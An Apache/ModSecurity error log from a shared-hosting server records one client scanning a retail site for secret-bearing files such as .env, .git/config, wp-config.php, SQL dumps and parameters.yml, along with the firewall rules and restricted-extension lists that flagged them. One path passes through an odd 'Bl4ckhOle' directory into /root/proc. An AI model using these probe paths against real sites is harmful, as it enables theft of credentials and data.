[Fri Jul 17 08:27:54.772078 2026] [security2:error] [pid 1993659:tid 1993659] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaMJOFLENLI63GGOEKKgAAAAQ"]
[Fri Jul 17 08:27:54.815712 2026] [security2:error] [pid 2005917:tid 2005917] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "manaharasupercenter.lk"] [uri "/.env.dev"] [unique_id "almaMnf2WrySr2miwA73fAAAABY"]
[Fri Jul 17 08:27:54.816003 2026] [security2:error] [pid 2005917:tid 2005917] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "manaharasupercenter.lk"] [uri "/.env.dev"] [unique_id "almaMnf2WrySr2miwA73fAAAABY"]
[Fri Jul 17 08:27:55.040386 2026] [security2:error] [pid 2014256:tid 2014256] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "manaharasupercenter.lk"] [uri "/.env.staging"] [unique_id "almaM4Zvbo7N5o5zeYC62QAAABw"]
[Fri Jul 17 08:27:55.040694 2026] [security2:error] [pid 2014256:tid 2014256] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "manaharasupercenter.lk"] [uri "/.env.staging"] [unique_id "almaM4Zvbo7N5o5zeYC62QAAABw"]
[Fri Jul 17 08:27:55.065129 2026] [security2:error] [pid 2013810:tid 2013810] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaMCY5vpBDD-fJ9tQLkAAAABc"]
[Fri Jul 17 08:27:55.413543 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/wp-config.php"] [unique_id "almaMAPhWp7RzB65h36etgAAAA0"]
[Fri Jul 17 08:27:55.491472 2026] [security2:error] [pid 2013810:tid 2013810] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "manaharasupercenter.lk"] [uri "/.git/config"] [unique_id "almaMyY5vpBDD-fJ9tQLkQAAABc"]
[Fri Jul 17 08:27:55.491745 2026] [security2:error] [pid 2013810:tid 2013810] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "manaharasupercenter.lk"] [uri "/.git/config"] [unique_id "almaMyY5vpBDD-fJ9tQLkQAAABc"]
[Fri Jul 17 08:27:55.573220 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:27:55.818397 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:58200] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:56.034480 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 57.141.18.124:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/subsystem/devices/memory101/subsystem/devices/memory133/node0/memory83/subsystem/drivers_probe
[Fri Jul 17 08:27:56.071699 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaMEhq6UAnqYko0LpXNwAAABE"]
[Fri Jul 17 08:27:56.190094 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:27:56.280640 2026] [security2:error] [pid 1993998:tid 1993998] [client 54.163.171.172:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "manaharasupercenter.lk"] [uri "/dump.sql"] [unique_id "almaNGidQp3SsqeycPEstgAAAAo"]
[Fri Jul 17 08:27:56.281314 2026] [security2:error] [pid 1993998:tid 1993998] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "manaharasupercenter.lk"] [uri "/dump.sql"] [unique_id "almaNGidQp3SsqeycPEstgAAAAo"]
[Fri Jul 17 08:27:56.451034 2026] [security2:error] [pid 2002425:tid 2002425] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaMKUJv0yl2bIgVrkNNgAAABU"]
[Fri Jul 17 08:27:56.839389 2026] [security2:error] [pid 2002425:tid 2002425] [client 54.163.171.172:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "manaharasupercenter.lk"] [uri "/db.sql"] [unique_id "almaNKUJv0yl2bIgVrkNNwAAABU"]
[Fri Jul 17 08:27:56.839841 2026] [security2:error] [pid 2002425:tid 2002425] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "manaharasupercenter.lk"] [uri "/db.sql"] [unique_id "almaNKUJv0yl2bIgVrkNNwAAABU"]
[Fri Jul 17 08:27:57.036804 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.163.171.172:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.manaharasupercenter.lk"] [uri "/database.sql"] [unique_id "almaNQRRrtuZqNDDSqWstgAAABo"]
[Fri Jul 17 08:27:57.037222 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/database.sql"] [unique_id "almaNQRRrtuZqNDDSqWstgAAABo"]
[Fri Jul 17 08:27:57.037390 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1084) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/f64de0d049d84066f55466d408a6312c23b175ae.sock|fcgi://manaharasupercenter.lk.buddhika.xyz) HOSTNAME(www.manaharasupercenter.lk) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:57.037562 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaNQRRrtuZqNDDSqWstgAAABo"]
[Fri Jul 17 08:27:57.075425 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1084) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/f64de0d049d84066f55466d408a6312c23b175ae.sock|fcgi://manaharasupercenter.lk.buddhika.xyz) HOSTNAME(www.manaharasupercenter.lk) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:57.075425 2026] [hostinglimits:warn] [pid 1993659:tid 1993659] mod_hostinglimits: Error on LVE enter: LVE(1084) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/f64de0d049d84066f55466d408a6312c23b175ae.sock|fcgi://manaharasupercenter.lk.buddhika.xyz) HOSTNAME(www.manaharasupercenter.lk) URL(/index.php) TID(1993659) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:57.096029 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.163.171.172:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.manaharasupercenter.lk"] [uri "/data.sql"] [unique_id "almaNQRRrtuZqNDDSqWstwAAABo"]
[Fri Jul 17 08:27:57.096095 2026] [security2:error] [pid 1993584:tid 1993584] [client 54.163.171.172:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.manaharasupercenter.lk"] [uri "/backup.sql"] [unique_id "almaNVxP5-SsqbGuGB2k7QAAAAA"]
[Fri Jul 17 08:27:57.096435 2026] [security2:error] [pid 1993584:tid 1993584] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/backup.sql"] [unique_id "almaNVxP5-SsqbGuGB2k7QAAAAA"]
[Fri Jul 17 08:27:57.096443 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/data.sql"] [unique_id "almaNQRRrtuZqNDDSqWstwAAABo"]
[Fri Jul 17 08:27:57.096559 2026] [hostinglimits:warn] [pid 1993584:tid 1993584] mod_hostinglimits: Error on LVE enter: LVE(1084) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/f64de0d049d84066f55466d408a6312c23b175ae.sock|fcgi://manaharasupercenter.lk.buddhika.xyz) HOSTNAME(www.manaharasupercenter.lk) URL(/index.php) TID(1993584) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:57.096562 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1084) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/f64de0d049d84066f55466d408a6312c23b175ae.sock|fcgi://manaharasupercenter.lk.buddhika.xyz) HOSTNAME(www.manaharasupercenter.lk) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:57.096694 2026] [security2:error] [pid 1993584:tid 1993584] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaNVxP5-SsqbGuGB2k7QAAAAA"]
[Fri Jul 17 08:27:57.096704 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaNQRRrtuZqNDDSqWstwAAABo"]
[Fri Jul 17 08:27:57.118255 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.manaharasupercenter.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaNQ5GPQ6hs4VrfMo92wAAAAY"]
[Fri Jul 17 08:27:57.118508 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaNQ5GPQ6hs4VrfMo92wAAAAY"]
[Fri Jul 17 08:27:57.118646 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1084) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/f64de0d049d84066f55466d408a6312c23b175ae.sock|fcgi://manaharasupercenter.lk.buddhika.xyz) HOSTNAME(www.manaharasupercenter.lk) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:57.118799 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaNQ5GPQ6hs4VrfMo92wAAAAY"]
[Fri Jul 17 08:27:57.411500 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:58328] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:57.534999 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.manaharasupercenter.lk"] [uri "/.env"] [unique_id "almaNQRRrtuZqNDDSqWsuQAAABo"]
[Fri Jul 17 08:27:57.535297 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/.env"] [unique_id "almaNQRRrtuZqNDDSqWsuQAAABo"]
[Fri Jul 17 08:27:58.018847 2026] [hostinglimits:warn] [pid 1994967:tid 1994967] mod_hostinglimits: Error on LVE enter: LVE(1084) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/f64de0d049d84066f55466d408a6312c23b175ae.sock|fcgi://manaharasupercenter.lk.buddhika.xyz) HOSTNAME(www.manaharasupercenter.lk) URL(/index.php) TID(1994967) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:58.043039 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1084) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/f64de0d049d84066f55466d408a6312c23b175ae.sock|fcgi://manaharasupercenter.lk.buddhika.xyz) HOSTNAME(www.manaharasupercenter.lk) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:58.058077 2026] [hostinglimits:warn] [pid 2014279:tid 2014279] mod_hostinglimits: Error on LVE enter: LVE(1084) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/f64de0d049d84066f55466d408a6312c23b175ae.sock|fcgi://manaharasupercenter.lk.buddhika.xyz) HOSTNAME(www.manaharasupercenter.lk) URL(/index.php) TID(2014279) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
